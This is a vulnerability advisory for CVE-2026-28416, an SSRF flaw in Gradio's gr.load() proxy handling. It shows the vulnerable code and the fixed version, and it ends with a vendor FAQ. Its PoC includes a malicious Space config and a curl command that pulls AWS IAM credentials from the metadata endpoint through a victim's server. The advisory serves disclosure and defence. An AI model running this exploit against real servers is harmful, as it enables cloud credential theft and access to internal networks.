CVE-2026-28416

A Server-Side Request Forgery (SSRF) vulnerability in Gradio allows an attacker to make arbitrary HTTP requests from a victim's server by hosting a malicious Gradio Space. When a victim application uses gr.load() to load an attacker-controlled Space, the malicious proxy_url from the config is trusted and added to the allowlist, enabling the attacker to access internal services, cloud metadata endpoints, and private networks through the victim's infrastructure.

Details

The vulnerability exists in Gradio's config processing flow when loading external Spaces:

1. Config Fetching (gradio/external.py:630): gr.load() calls Blocks.from_config() which fetches and processes the remote Space's configuration.

2. Proxy URL Trust (gradio/blocks.py:1231-1233): The proxy_url from the untrusted config is added directly to self.proxy_urls:

   if config.get("proxy_url"):
       self.proxy_urls.add(config["proxy_url"])
   

3. Built-in Proxy Route (gradio/routes.py:1029-1031): Every Gradio app automatically exposes a /proxy={url_path} endpoint:

   @router.get("/proxy={url_path:path}", dependencies=[Depends(login_check)])
   async def reverse_proxy(url_path: str):
   

4. Host-based Validation (gradio/routes.py:365-368): The validation only checks if the URL's host matches any trusted proxy_url host:

   is_safe_url = any(
       url.host == httpx.URL(root).host for root in self.blocks.proxy_urls
   )
   

An attacker can set proxy_url to http://169.254.169.254/ (AWS metadata) or any internal service, and the victim's server will proxy requests to those endpoints.

PoC

Full PoC: https://gist.github.com/logicx24/8d4c1aaa4e70f85d0d0fba06a463f2d6

1. Attacker creates a malicious Gradio Space that returns this config:

{
    "mode": "blocks",
    "components": [...],
    "proxy_url": "http://169.254.169.254/"  # AWS metadata endpoint
}

2. Victim loads the malicious Space:

import gradio as gr
demo = gr.load("attacker/malicious-space")
demo.launch(server_name="0.0.0.0", server_port=7860)

3. Attacker exploits the proxy:

# Fetch AWS credentials through victim's server
curl "http://victim:7860/gradio_api/proxy=http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name"

Who is impacted:

• Any Gradio application that uses gr.load() to load external/untrusted Spaces
• HuggingFace Spaces that compose or embed other Spaces
• Enterprise deployments where Gradio apps have access to internal networks

Attack scenarios:

• Cloud credential theft: Access AWS/GCP/Azure metadata endpoints to steal IAM credentials
• Internal service access: Reach databases, admin panels, and APIs on private networks
• Network reconnaissance: Map internal infrastructure through the victim
• Data exfiltration: Access sensitive internal APIs and services

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2026-28416 has a CVSS score of 8.2 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (6.6.0); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-28416? CVE-2026-28416 is a high-severity server-side request forgery (SSRF) vulnerability in gradio (pip), affecting versions < 6.6.0. It is fixed in 6.6.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2026-28416? CVE-2026-28416 has a CVSS score of 8.2 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of gradio are affected by CVE-2026-28416? gradio (pip) versions < 6.6.0 is affected.
4. Is there a fix for CVE-2026-28416? Yes. CVE-2026-28416 is fixed in 6.6.0. Upgrade to this version or later.
5. Is CVE-2026-28416 exploitable, and should I be worried? Whether CVE-2026-28416 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-28416 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-28416? Upgrade gradio to 6.6.0 or later.